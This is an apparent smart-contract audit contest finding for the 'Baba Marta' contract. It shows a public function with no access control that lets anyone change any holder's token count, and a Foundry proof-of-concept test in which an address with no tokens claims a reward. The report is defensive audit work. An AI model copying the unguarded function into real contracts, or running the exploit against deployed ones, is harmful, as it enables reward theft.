First Flight #13: Baba Marta
First Flight #13
Beginner FriendlyFoundryGameFi
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Anyone can update the count of MartenitsaTokens for any address in the `MartenitsaToken` contract.

lian886

Summary

Anyone can update the count of MartenitsaTokens for any address in the MartenitsaToken contract by call updateCountMartenitsaTokensOwner function.This will result in an impact on the collectReward function.

Vulnerability Details

Anyone can update the count of MartenitsaTokens for any address in the MartenitsaToken contract by call updateCountMartenitsaTokensOwner function.

function updateCountMartenitsaTokensOwner(address owner, string memory operation) external {
if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("add"))) {
countMartenitsaTokensOwner[owner] += 1;
} else if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("sub"))) {
countMartenitsaTokensOwner[owner] -= 1;
} else {
revert("Wrong operation");
}
}
​

There are two scenarios:
1、increasing the count of MartenitsaTokens for someone，leading to someone collect more reward
2、decreasing the count of MartenitsaTokens for someone，leading to someone collect less reward
Using scenario 1 as an example, someone having no MartenitsaTokens can collect reward by Manipulating the updateCountMartenitsaTokensOwner function
POC:

function testAnyoneCanCollectReward() public {
address anyone = makeAddr("anyone");
vm.startPrank(anyone);
martenitsaToken.updateCountMartenitsaTokensOwner(anyone, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(anyone, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(anyone, "add");
marketplace.collectReward();
vm.stopPrank();
assert(healthToken.balanceOf(anyone) == 10 ** 18);
}

add this test function in MartenitsaMarketplace.t.sol,
then run forge test --mt testAnyoneCanCollectReward

Impact

High,

Tools Used

Foundry

Recommendations

Make sure to add an Acess Control mechanism to limit who can update the count of MartenitsaTokens in the MartenitsaToken contract.

Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Missing access control

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.